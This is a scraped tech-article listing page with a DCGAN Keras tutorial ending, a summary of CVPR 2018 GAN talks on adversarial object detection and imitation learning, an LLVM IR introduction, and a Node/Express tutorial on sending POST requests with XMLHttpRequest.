techniques are almost similar to what we have shown here. Deep Convolutional GAN with TensorFlow and Keras In DCGAN, both the discriminator and generator are implemented using a Deep Convolutional Network: 1.  In this example, we decided to implement the generator as the following network: Generator: _________________________________________________________________ Layer (type) Output Shape Param # ================================================================= g_in (Dense) (None, 3200) 822400 _________________________________________________________________ g_in_act (Activation) (None, 3200) 0 _________________________________________________________________ g_in_reshape (Reshape) (None, 5, 5, 128) 0 _________________________________________________________________ g_0_up2d (UpSampling2D) (None, 10, 10, 128) 0 _________________________________________________________________ g_0_conv2d (Conv2D) (None, 10, 10, 64) 204864 _________________________________________________________________ g_0_act (Activation) (None, 10, 10, 64) 0 _________________________________________________________________ g_1_up2d (UpSampling2D) (None, 20, 20, 64) 0 _________________________________________________________________ g_1_conv2d (Conv2D) (None, 20, 20, 32) 51232 _________________________________________________________________ g_1_act (Activation) (None, 20, 20, 32) 0 _________________________________________________________________ g_2_up2d (UpSampling2D) (None, 40, 40, 32) 0 _________________________________________________________________ g_2_conv2d (Conv2D) (None, 40, 40, 16) 12816 _________________________________________________________________ g_2_act (Activation) (None, 40, 40, 16) 0 _________________________________________________________________ g_out_flatten (Flatten) (None, 25600) 0 _________________________________________________________________ g_out (Dense) (None, 784) 20071184 ================================================================= Total params: 21,162,496 Trainable params: 21,162,496 Non-trainable params: 0 The generator is a stronger network having three convolutional layers followed by tanh activation. We define the discriminator network as follows: Discriminator: _________________________________________________________________ Layer (type) Output Shape Param # ================================================================= d_0_reshape (Reshape) (None, 28, 28, 1) 0 _________________________________________________________________ d_0_conv2d (Conv2D) (None, 28, 28, 64) 1664 _________________________________________________________________ d_0_act (Activation) (None, 28, 28, 64) 0 _________________________________________________________________ d_0_maxpool (MaxPooling2D) (None, 14, 14, 64) 0 _________________________________________________________________ d_out_flatten (Flatten) (None, 12544) 0 _________________________________________________________________ d_out (Dense) (None, 1) 12545 ================================================================= Total params: 14,209 Trainable params: 14,209 Non-trainable params: 0 _________________________________________________________________  The GAN network is composed of the discriminator and generator as demonstrated previously: GAN: _________________________________________________________________ Layer (type) Output Shape Param # ================================================================= z_in (InputLayer) (None, 256) 0 _________________________________________________________________ g (Sequential) (None, 784) 21162496 _________________________________________________________________ d (Sequential) (None, 1) 14209 ================================================================= Total params: 21,176,705 Trainable params: 21,162,496 Non-trainable params: 14,209 _________________________________________________________________ When we run this model for 400 epochs, we get the following output: As you can see, the DCGAN is able to generate high-quality digits starting from epoch 100 itself. The DGCAN has been used for style transfer, generation of images and titles and for image algebra, namely taking parts of one image and adding that to parts of another image. We built a simple GAN in TensorFlow and Keras and applied it to generate images from the MNIST dataset. We also built a DCGAN where the generator and discriminator consisted of convolutional networks. Do check out the book Mastering TensorFlow 1.x  to explore advanced features of TensorFlow 1.x and obtain in-depth knowledge of TensorFlow for solving artificial intelligence problems. 5 reasons to learn Generative Adversarial Networks (GANs) in 2018 Implementing a simple Generative Adversarial Network (GANs) Getting to know Generative Models and their types
Read more
  • 0
  • 0
  • 39677

article-image-teaching-gans-a-few-tricks-a-bird-is-a-bird-is-a-bird-robots-holding-on-to-things-and-bots-imitating-human-behavior
Savia Lobo
11 Dec 2019
7 min read
Save for later

Teaching GANs a few tricks: a bird is a bird is a bird, robots holding on to things and bots imitating human behavior

Savia Lobo
11 Dec 2019
7 min read
Generative adversarial networks (GANs) have been at the forefront of research on generative models in the last couple of years. GANs have been used for image generation, image processing, image synthesis from captions, image editing, visual domain adaptation, data generation for visual recognition, and many other applications, often leading to state of the art results. One of the tutorials titled, ‘Generative Adversarial Networks’ conducted at the CVPR 2018 (a Conference on Computer Vision and Pattern Recognition held at Salt Lake City, USA) provides a broad overview of generative adversarial networks and how GANs can be trained to perform different purposes.  The tutorial involved various speakers sharing basic concepts, best practices of the current state-of-the-art GAN including network architectures, objective functions, other training tricks, and much more. Let us look at how GANs are trained for different use cases.  There’s more to GANs….. If you further want to explore different examples of modern GAN implementations, including CycleGAN, simGAN, DCGAN, and 2D image to 3D model generation, you can explore the book, Generative Adversarial Networks Cookbook written by Josh Kalin. The recipes given in this cookbook will help you build on a common architecture in Python, TensorFlow and Keras to explore increasingly difficult GAN architectures in an easy-to-read format. Training GANs for object detection using Adversarial Learning Xialong Wang, from Carnegie Mellon University talked about object detection in computer vision as well as from the context of taking actions in robots. He also explained how to use adversarial learning for instances beyond image generation. To train a GAN, the key idea is to find the adversarial tasks for your target tasks to improve your target by fighting against these adversarial tasks. In computer vision if your target task is to recognize a bird using object detection, one adversarial task is adding occlusions by generating a mask to accrue the bird’s head and its leg which will make it difficult for the detector to recognize. The detector will further try to conquer these difficult tasks and from then on it will become robust to Occlusions. Another adversarial task for object detection can be Deformations. Here the image can be slightly rotated to make the detection difficult.  For training robots to grasp objects, one of the adversaries would be the Shaking test. If the robot arm is stable enough the object it grasps should not fall even with a rigourous shake. Another example is snatching. If another arm can snatch easily, it means it is not completely trained to resist snatching or stealing. Wang said the CMU research team tried generating images using DCGAN on the COCO dataset. However, the images generated could not assist in training the detector as the detectors could easily detect them as false images. Next, the team generated images using Conditional GANs on COCO but these didn’t help either. Hence, the team generated hard positive examples in feed by adding real world occlusions or real world deformations to challenge the detectors. He then talked about a Standard Fast R-CNN Detector which takes an image input in the convolutional neural network language model. After taking the input, the detector extracts features for the whole image, and later you can crop the features according to the proposal bounding box. These cropped features are resized to channel (C*6*6); here 6*6 is interred spatial dimensions. These features are the object features you want to focus on and can also use them to perform classification or regression for detections. The team has added a small network in the middle that would input the extracted features and generate a mask. The mask will assist which spatial locations to chop out certain features that would make it hard for the detectors to recognize. He also shared the benchmark results of the tests using different datasets like the AlexNet, VGG16, FRCN, and so on. The ASTN and the ASDN model showed improved output over the other networks.   Understanding Generative Adversarial Imitation Learning (GAIL) for training a machine to imitate human behaviours Stefano Ermon from Stanford University explained how to use Generative modeling ideas and GAN training to imitate human behaviours in complex environments.  A lot of progress in reinforcement learning has been made with successes in playing board games such as Chess, video games, and so on. However, Reinforcement Learning has one limitation. If you want to use it to solve a new task you have to specify a cost signal / a reward signal to provide some supervision to your reinforcement learning algorithm. You also need to specify what kind of behaviors are desirable and which are not.   In a game scenario the cost signal is whether you win or you lose. However, in further complex tasks like driving an autonomous vehicles to specify a cost signal becomes difficult as there are different objective functions like going off road, not moving above the speed limit, avoiding a road crash, and much more.  The simplest method one can use is Behavioural cloning where you can use your trajectories and your demonstrations to construct a training set of states with the corresponding action that the expert took in those states. You can further use your favorite supervised learning method classification or regression if the actions are continuous. However, this has some limitations: Small errors may compound over time as the learning algorithm will make certain mistakes initially and these mistakes will lead towards never seen before states or objects. It is like a Black box approach where every decision requires initial planning. Ermon suggests an alternative to imitation could be an Inverse RL (IRL) approachHe also demonstrates the similarities between RL and IRL. For the complete demonstration, you can check out the video.  The main difference between a GAIL and GANs is that in GANs the generator is taking inputs, random noise and maps them to the neural network producing some samples for the detector. However, in GAIL, the generator is more complex as it includes two components, a policy P which you can train and an environment (Black Box simulator) that can’t be controlled. What matters is the distribution over states and actions that you encounter when you navigate the environment using the policy that can be tuned. As the environment is difficult to control, training the GAIL model is harder than the simple GANs model. On the other hand, in a GANs model, training the policy is challenging such that the discriminator goes into the direction of fooling.  However, GAIL is the easier generative modelling task because you don’t have to learn the whole thing end to end and neither do you have to come up with a large neural network that maps noise into behaviours as some part of the input is given by the environment. But it is harder to train because you don't really know how the black box works. Ermon further explains how using Generative Adversarial Imitation Learning, one can not only imitate complex behaviors, but also learn interpretable and meaningful representations of complex behavioral data, including visual demonstrations with a method named as InfoGAN, a method, built on top of GAIL.   He also explained a new framework for multi-agent imitation learning for general Markov games by integrating multi-agent RL with a suitable extension of multi-agent inverse RL. This method will generalize Generative Adversarial Imitation Learning (GAIL) in the single agent case. This method will successfully imitate complex behaviors in high-dimensional environments with multiple cooperative or competing agents. To know more about further demonstrations on GAIL, InfoGAIL, and Multi-agent GAIL, watch the complete video on YouTube. Knowing the basics isn’t enough, putting them to practice is necessary. If you want to use GANs practically and experiment with them, Generative Adversarial Networks Cookbook by Josh Kalin is your go-to guide. With this cookbook, you will work with use cases involving DCGAN, Pix2Pix, and so on. To understand these complex applications, you will take different real-world data sets and put them to use. Prof. Rowel Atienza discusses the intuition behind deep learning, advances in GANs & techniques to create cutting edge AI- models Now there is a Deepfake that can animate your face with just your voice and a picture using temporal GANs Now there’s a CycleGAN to visualize the effects of climate change. But is this enough to mobilize action?
Read more
  • 0
  • 0
  • 39676
article-image-introducing-llvm-intermediate-representation
Packt
26 Aug 2014
18 min read
Save for later

Introducing LLVM Intermediate Representation

Packt
26 Aug 2014
18 min read
In this article by Bruno Cardoso Lopez and Rafael Auler, the authors of Getting Started with LLVM Core Libraries, we will look into some basic concepts of the LLVM intermediate representation (IR). (For more resources related to this topic, see here.) LLVM IR is the backbone that connects frontends and backends, allowing LLVM to parse multiple source languages and generate code to multiple targets. Frontends produce the IR, while backends consume it. The IR is also the point where the majority of LLVM target-independent optimizations takes place. Overview The choice of the compiler IR is a very important decision. It determines how much information the optimizations will have to make the code run faster. On one hand, a very high-level IR allows optimizers to extract the original source code intent with ease. On the other hand, a low-level IR allows the compiler to generate code tuned for a particular hardware more easily. The more information you have about the target machine, the more opportunities you have to explore machine idiosyncrasies. Moreover, the task at lower levels must be done with care. As the compiler translates the program to a representation that is closer to machine instructions, it becomes increasingly difficult to map program fragments to the original source code. Furthermore, if the compiler design is exaggerated using a representation that represents a specific target machine very closely, it becomes awkward to generate code for other machines that have different constructs. This design trade-off has led to different choices among compilers. Some compilers, for instance, do not support code generation for multiple targets and focus on only one machine architecture. This enables them to use specialized IRs throughout their entire pipeline that make the compiler efficient with respect to a single architecture, which is the case of the Intel C++ Compiler (icc). However, writing compilers that generate code for a single architecture is an expensive solution if you aim to support multiple targets. In these cases, it is unfeasible to write a different compiler for each architecture, and it is best to design a single compiler that performs well on a variety of targets, which is the goal of compilers such as GCC and LLVM. For these projects, called retargetable compilers, there are substantially more challenges to coordinate the code generation for multiple targets. The key to minimizing the effort to build a retargetable compiler lies in using a common IR, the point where different backends share the same understanding about the source program to translate it to a divergent set of machines. Using a common IR, it is possible to share a set of target-independent optimizations among multiple backends, but this puts pressure on the designer to raise the level of the common IR to not overrepresent a single machine. Since working at higher levels precludes the compiler from exploring target-specific trickery, a good retargetable compiler also employs other IRs to perform optimizations at different, lower levels. The LLVM project started with an IR that operated at a lower level than the Java bytecode, thus, the initial acronym was Low Level Virtual Machine. The idea was to explore low-level optimization opportunities and employ link-time optimizations. The link-time optimizations were made possible by writing the IR to disk, as in a bytecode. The bytecode allows the user to amalgamate multiple modules in the same file and then apply interprocedural optimizations. In this way, the optimizations will act on multiple compilation units as if they were in the same module. LLVM, nowadays, is neither a Java competitor nor a virtual machine, and it has other intermediate representations to achieve efficiency. For example, besides the LLVM IR, which is the common IR where target-independent optimizations work, each backend may apply target-dependent optimizations when the program is represented with the MachineFunction and MachineInstr classes. These classes represent the program using target-machine instructions. On the other hand, the Function and Instruction classes are, by far, the most important ones because they represent the common IR that is shared across multiple targets. This intermediate representation is mostly target-independent (but not entirely) and the official LLVM intermediate representation. To avoid confusion, while LLVM has other levels to represent a program, which technically makes them IRs as well, we do not refer to them as LLVM IRs; however, we reserve this name for the official, common intermediate representation by the Instruction class, among others. This terminology is also adopted by the LLVM documentation. The LLVM project started as a set of tools that orbit around the LLVM IR, which justifies the maturity of the optimizers and the number of optimizers that act at this level. This IR has three equivalent forms: An in-memory representation (the Instruction class, among others) An on-disk representation that is encoded in a space-efficient form (the bitcode files) An on-disk representation in a human-readable text form (the LLVM assembly files) LLVM provides tools and libraries that allow you to manipulate and handle the IR in all forms. Hence, these tools can transform the IR back and forth, from memory to disk as well as apply optimizations, as illustrated in the following diagram: Understanding the LLVM IR target dependency The LLVM IR is designed to be as target-independent as possible, but it still conveys some target-specific aspects. Most people blame the C/C++ language for its inherent, target-dependent nature. To understand this, consider that when you use standard C headers in a Linux system, for instance, your program implicitly imports some header files from the bits Linux headers folder. This folder contains target-dependent header files, including macro definitions that constrain some entities to have a particular type that matches what the syscalls of this kernel-machine expect. Afterwards, when the frontend parses your source code, it needs to also use different sizes for int, for example, depending on the intended target machine where this code will run. Therefore, both library headers and C types are already target-dependent, which makes it challenging to generate an IR that can later be translated to a different target. If you consider only the target-dependent, C standard library headers, the parsed AST for a given compilation unit is already target-dependent, even before the translation to the LLVM IR. Furthermore, the frontend generates IR code using type sizes, calling conventions, and special library calls that match the ones defined by each target ABI. Still, the LLVM IR is quite versatile and is able to cope with distinct targets in an abstract way. Exercising basic tools to manipulate the IR formats We mention that the LLVM IR can be stored on disk in two formats: bitcode and assembly text. We will now learn how to use them. Consider the sum.c source code: int sum(int a, int b) { return a+b; } To make Clang generate the bitcode, you can use the following command: $ clang sum.c -emit-llvm -c -o sum.bc To generate the assembly representation, you can use the following command: $ clang sum.c -emit-llvm -S -c -o sum.ll You can also assemble the LLVM IR assembly text, which will create a bitcode: $ llvm-as sum.ll -o sum.bc To convert from bitcode to IR assembly, which is the opposite, you can use the disassembler: $ llvm-dis sum.bc -o sum.ll The llvm-extract tool allows the extraction of IR functions, globals, and also the deletion of globals from the IR module. For instance, extract the sum function from sum.bc with the following command: $ llvm-extract -func=sum sum.bc -o sum-fn.bc Nothing changes between sum.bc and sum-fn.bc in this particular example since sum is already the sole function in this module. Introducing the LLVM IR language syntax Observe the LLVM IR assembly file, sum.ll: target datalayout = "e-p:64:64:64-i1:8:8-i8:8:8-i16:16:16-i32:32:32-i64:64:64-f32:32:32-f64:64:64-v64:64:64-v128:128:128-a0:0:64-s0:64:64-f80:128:128-n8:16:32:64-S128" target triple = "x86_64-apple-macosx10.7.0" define i32 @sum(i32 %a, i32 %b) #0 { entry: %a.addr = alloca i32, align 4 %b.addr = alloca i32, align 4 store i32 %a, i32* %a.addr, align 4 store i32 %b, i32* %b.addr, align 4 %0 = load i32* %a.addr, align 4 %1 = load i32* %b.addr, align 4 %add = add nsw i32 %0, %1 ret i32 %add } attributes #0 = { nounwind ssp uwtable ... } The contents of an entire LLVM file, either assembly or bitcode, are said to define an LLVM module. The module is the LLVM IR top-level data structure. Each module contains a sequence of functions, which contains a sequence of basic blocks that contain a sequence of instructions. The module also contains peripheral entities to support this model, such as global variables, the target data layout, and external function prototypes as well as data structure declarations. LLVM local values are the analogs of the registers in the assembly language and can have any name that starts with the % symbol. Thus, %add = add nsw i32 %0, %1 will add the local value %0 to %1 and put the result in the new local value, %add. You are free to give any name to the values, but if you are short on creativity, you can just use numbers. In this short example, we can already see how LLVM expresses its fundamental properties: It uses the Static Single Assignment (SSA) form. Note that there is no value that is reassigned; each value has only a single assignment that defines it. Each use of a value can immediately be traced back to the sole instruction responsible for its definition. This has an immense value to simplify optimizations, owing to the trivial use-def chains that the SSA form creates, that is, the list of definitions that reaches a user. If LLVM had not used the SSA form, we would need to run a separate data flow analysis to compute the use-def chains, which are mandatory for classical optimizations such as constant propagation and common subexpression elimination. Code is organized as three-address instructions. Data processing instructions have two source operands and place the result in a distinct destination operand. It has an infinite number of registers. Note how LLVM local values can be any name that starts with the % symbol, including numbers that start at zero, such as %0, %1, and so on, that have no restriction on the maximum number of distinct values. The target datalayout construct contains information about endianness and type sizes for target triple that is described in target host. Some optimizations depend on knowing the specific data layout of the target to transform the code correctly. Observe how the layout declaration is done: target datalayout = "e-p:64:64:64-i1:8:8-i8:8:8-i16:16:16-i32:32:32-i64:64:64-f32:32:32-f64:64:64-v64:64:64-v128:128:128-a0:0:64-s0:64:64-f80:128:128-n8:16:32:64-S128" target triple = "x86_64-apple-macosx10.7.0" We can extract the following facts from this string: The target is an x86_64 processor with macOSX 10.7.0. It is a little-endian target, which is denoted by the first letter in the layout (a lowercase e). Big-endian targets need to use an uppercase E. The information provided about types is in the format type:<size>:<abi>:<preferred>. In the preceding example, p:64:64:64 represents a pointer that is 64 bits wide in size, with the abi and preferred alignments set to the 64-bit boundary. The ABI alignment specifies the minimum required alignment for a type, while the preferred alignment specifies a potentially larger value, if this will be beneficial. The 32-bit integer types i32:32:32 are 32 bits wide in size, 32-bit abi and preferred alignment, and so on. The function declaration closely follows the C syntax: define i32 @sum(i32 %a, i32 %b) #0 { This function returns a value of the type i32 and has two i32 arguments, %a and %b. Local identifiers always need the % prefix, whereas global identifiers use @. LLVM supports a wide range of types, but the most important ones are the following: Arbitrary-sized integers in the iN form; common examples are i32, i64, and i128. Floating-point types, such as the 32-bit single precision float and 64-bit double precision double. Vectors types in the format <<# elements> x <elementtype>>. A vector with four i32 elements is written as <4 x i32>. The #0 tag in the function declaration maps to a set of function attributes, also very similar to the ones used in C/C++ functions and methods. The set of attributes is defined at the end of the file: attributes #0 = { nounwind ssp uwtable "less-precise-fpmad"="false""no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf"="true""no-infs-fp-math"="false" "no-nans-fp-math"="false" "unsafe-fp-math"="false""use-soft-float"="false" } For instance, nounwind marks a function or method as not throwing exceptions, and ssp tells the code generator to use a stack smash protector in an attempt to increase the security of this code against attacks. The function body is explicitly divided into basic blocks (BBs), and a label is used to start a new BB. A label relates to a basic block in the same way that a value identifier relates to an instruction. If a label declaration is omitted, the LLVM assembler automatically generates one using its own naming scheme. A basic block is a sequence of instructions with a single entry point at its first instruction, and a single exit point at its last instruction. In this way, when the code jumps to the label that corresponds to a basic block, we know that it will execute all of the instructions in this basic block until the last instruction, which will change the control flow by jumping to another basic block. Basic blocks and their associated labels need to adhere to the following conditions: Each BB needs to end with a terminator instruction, one that jumps to other BBs or returns from the function The first BB, called the entry BB, is special in an LLVM function and must not be the target of any branch instructions Our LLVM file, sum.ll, has only one BB because it has no jumps, loops, or calls. The function start is marked with the entry label, and it ends with the return instruction, ret: entry: %a.addr = alloca i32, align 4 %b.addr = alloca i32, align 4 store i32 %a, i32* %a.addr, align 4 store i32 %b, i32* %b.addr, align 4 %0 = load i32* %a.addr, align 4 %1 = load i32* %b.addr, align 4 %add = add nsw i32 %0, %1 ret i32 %add The alloca instruction reserves space on the stack frame of the current function. The amount of space is determined by element type size, and it respects a specified alignment. The first instruction, %a.addr = alloca i32, align 4, allocates a 4-byte stack element, which respects a 4-byte alignment. A pointer to the stack element is stored in the local identifier, %a.addr. The alloca instruction is commonly used to represent local (automatic) variables. The %a and %b arguments are stored in the stack locations %a.addr and %b.addr by means of store instructions. The values are loaded back from the same memory locations by load instructions, and they are used in the addition, %add = add nsw i32 %0, %1. Finally, the addition result, %add, is returned by the function. The nsw flag specifies that this add operation has "no signed wrap", which indicates instructions that are known to have no overflow, allowing for some optimizations. If you are interested in the history behind the nsw flag, a worthwhile read is the LLVMdev post at http://lists.cs.uiuc.edu/pipermail/llvmdev/2011-November/045730.html by Dan Gohman. In fact, the load and store instructions are redundant, and the function arguments can be used directly in the add instruction. Clang uses -O0 (no optimizations) by default, and the unnecessary loads and stores are not removed. If we compile with -O1 instead, the outcome is a much simpler code, which is reproduced here: define i32 @sum(i32 %a, i32 %b) ... { entry: %add = add nsw i32 %b, %a ret i32 %add } ... Using the LLVM assembly directly is very handy when writing small examples to test target backends and as a means to learn basic LLVM concepts. However, a library is the recommended interface for frontend writers to build the LLVM IR, which is the subject of our next section. You can find a complete reference to the LLVM IR assembly syntax at http://llvm.org/docs/LangRef.html. Introducing the LLVM IR in-memory model The in-memory representation closely models the LLVM language syntax that we just presented. The header files for the C++ classes that represent the IR are located at include/llvm/IR. The following is a list of the most important classes: The Module class aggregates all of the data used in the entire translation unit, which is a synonym for "module" in LLVM terminology. It declares the Module::iterator typedef as an easy way to iterate across the functions inside this module. You can obtain these iterators via the begin() and end() methods. View its full interface at http://llvm.org/docs/doxygen/html/classllvm_1_1Module.html. The Function class contains all objects related to a function definition or declaration. In the case of a declaration (use the isDeclaration() method to check whether it is a declaration), it contains only the function prototype. In both cases, it contains a list of the function parameters accessible via the getArgumentList() method or the pair of arg_begin() and arg_end(). You can iterate through them using the Function::arg_iterator typedef. If your Function object represents a function definition, and you iterate through its contents via the for (Function::iterator i = function.begin(), e = function.end(); i != e; ++i) idiom, you will iterate across its basic blocks. View its full interface at http://llvm.org/docs/doxygen/html/classllvm_1_1Function.html. The BasicBlock class encapsulates a sequence of LLVM instructions, accessible via the begin()/end() idiom. You can directly access its last instruction using the getTerminator() method, and you also have a few helper methods to navigate the CFG, such as accessing predecessor basic blocks via getSinglePredecessor(), when the basic block has a single predecessor. However, if it does not have a single predecessor, you need to work out the list of predecessors yourself, which is also not difficult if you iterate through basic blocks and check the target of their terminator instructions. View its full interface at http://llvm.org/docs/doxygen/html/classllvm_1_1BasicBlock.html. The Instruction class represents an atom of computation in the LLVM IR, a single instruction. It has some methods to access high-level predicates, such as isAssociative(), isCommutative(), isIdempotent(), or isTerminator(), but its exact functionality can be retrieved with getOpcode(), which returns a member of the llvm::Instruction enumeration, which represents the LLVM IR opcodes. You can access its operands via the op_begin() and op_end() pair of methods, which are inherited from the User superclass that we will present shortly. View its full interface at http://llvm.org/docs/doxygen/html/classllvm_1_1Instruction.html. We have still not presented the most powerful aspect of the LLVM IR (enabled by the SSA form): the Value and User interfaces; these allow you to easily navigate the use-def and def-use chains. In the LLVM in-memory IR, a class that inherits from Value means that it defines a result that can be used by others, whereas a subclass of User means that this entity uses one or more Value interfaces. Function and Instruction are subclasses of both Value and User, while BasicBlock is a subclass of just Value. To understand this, let's analyze these two classes in depth: The Value class defines the use_begin() and use_end() methods to allow you to iterate through Users, offering an easy way to access its def-use chain. For every Value class, you can also access its name through the getName() method. This models the fact that any LLVM value can have a distinct identifier associated with it. For example, %add1 can identify the result of an add instruction, BB1 can identify a basic block, and myfunc can identify a function. Value also has a powerful method called replaceAllUsesWith(Value *), which navigates through all of the users of this value and replaces it with some other value. This is a good example of how the SSA form allows you to easily substitute instructions and write fast optimizations. You can view the full interface at http://llvm.org/docs/doxygen/html/classllvm_1_1Value.html. The User class has the op_begin() and op_end() methods that allows you to quickly access all of the Value interfaces that it uses. Note that this represents the use-def chain. You can also use a helper method called replaceUsesOfWith(Value *From, Value *To) to replace any of its used values. You can view the full interface at http://llvm.org/docs/doxygen/html/classllvm_1_1User.html. Summary In this article, we acquainted ourselves with the concepts and components related to the LLVM intermediate representation. Resources for Article: Further resources on this subject: Creating and Utilizing Custom Entities [Article] Getting Started with Code::Blocks [Article] Program structure, execution flow, and runtime objects [Article]
Read more
  • 0
  • 0
  • 39631

article-image-how-use-xmlhttprequests-send-post-server
Antonio Cucciniello
03 Apr 2017
5 min read
Save for later

How to use XmlHttpRequests to Send POST to Server

Antonio Cucciniello
03 Apr 2017
5 min read
So, you need to send some bits of information from your browser to the server in order to complete some processing. Maybe you need the information to search for something in a database, or just to update something on your server. Today I am going to show you how to send some data to your server from the client through a POST request using XmlHttpRequest. First, we need to set up our environment! Set up The first thing to make sure you have is Node and NPM installed. Create a new directory for your project; here we will call it xhr-post: $ mkdir xhr-post $ cd xhr-post Then we would like to install express.js and body-parser: $ npm install express $ npm install body-parser Express makes it easy for us to handle HTTP requests, and body-parser allows us to parse incoming request bodies. Let's create two files: one for our server called server.js and one for our front end code called index.html. Then initialize your repo with a package.json file by doing: $ npm init Client Now it’s time to start with some front end work. Open and edit your index.html file with: <!doctype html> <html> <h1> XHR POST to Server </h1> <body> <input type='text' id='num' /> <script> function send () { var number = { value: document.getElementById('num').value } var xhr = new window.XMLHttpRequest() xhr.open('POST', '/num', true) xhr.setRequestHeader('Content-Type', 'application/json;charset=UTF-8') xhr.send(JSON.stringify(number)) } </script> <button type='button' value='Send' name='Send' onclick='send()' > Send </button> </body> </html> This file simply has a input field to allow users to enter some information, and a button to then send the information entered to the server. What we should focus on here is the button's onclick method send(). This is the function that is called once the button is clicked. We create a JSON object to hold the value from the text field. Then we create a new instance of an XMLHttpRequest with xhr. We call xhr.open() to initialize our request by giving it a request method (POST), the url we would like to open the request with ('/num') and determine if it should be asynchronous or not (set true for asynchronous). We then call xhr.setRequestHeader(). This sets the value of the HTTP request to json and UTF-8. As a last step, we send the request with xhr.send(). We pass the value of the text box and stringify it to send the data as raw text to our server, where it can be manipulated. Server Here our server is supposed to handle the POST request and we are simply going to log the request received from the client. const express = require('express') const app = express() const path = require('path') var bodyParser = require('body-parser') var port = 3000 app.listen(port, function () { console.log('We are listening on port ' + port) }) app.use(bodyParser.urlencoded({extended: false})) app.use(bodyParser.json()) app.get('*', function (req, res) { res.sendFile(path.join(__dirname, '/index.html')) }) app.post('/num', function (req, res) { var num = req.body.value console.log(num) return res.end('done') }) At the top, we declare our variables, obtaining an instance of express, path and body-parser. Then we set our server to listen on port 3000. Next, we use bodyParser object to decide what kind of information we would like to parse, we set it to json because we sent a json object from our client, if you recall the last section. This is done with: app.use(bodyParser.json()) Then we serve our html file in order to see our front end created in the last section with: app.get('*', function (req, res) { res.sendFile(path.join(__dirname, '/index.html')) }) The last part of server.js is where we handle the POST request from the client. We access the value sent over by checking for corresponding property on the body object which is part of the request object. Then, as a last step for us to verify we have the correct information, we will log the data received to the console and send a response to the client. Test Let's test what we have done. In the project directory, we can run: $ node server.js Open your web browser and go to the url localhost:3000. This is what your web page should look like: This is what your output to the console should look like if you enter a 5 in the input field: Conclusion You are all done! You now have a web page that sends some JSON data to your server using XmlHttpRequest! Here is a summary of what we went over: Created a front end with an input field and button Created a function for our button to send an XmlHttpRequest Created our server to listen on port 3000 Served our html file Handled our POST request at route '/num' Logged the value to our console If you enjoyed this post, share it on twitter. Check out the code for this tutorial on GitHub. Possible Resources Check out my GitHub View my personal blog Information on XmlHtttpRequest GitHub pages for: express body-parser About the author Antonio Cucciniello is a software engineer with a background in C, C++, and JavaScript (Node.Js). He is from New Jersey, USA. His most recent project called Edit Docs is an Amazon Echo skill that allows users to edit Google Drive files using their voice. He loves building cool things with software, reading books on self-help and improvement, finance, and entrepreneurship. To contact Antonio, e-mail him at Antonio.cucciniello16@gmail.com, follow him on twitter at @antocucciniello, and follow him on GitHub here: https://github.com/acucciniello.
Read more
  • 0
  • 0
  • 39482
Modal Close icon
Modal Close icon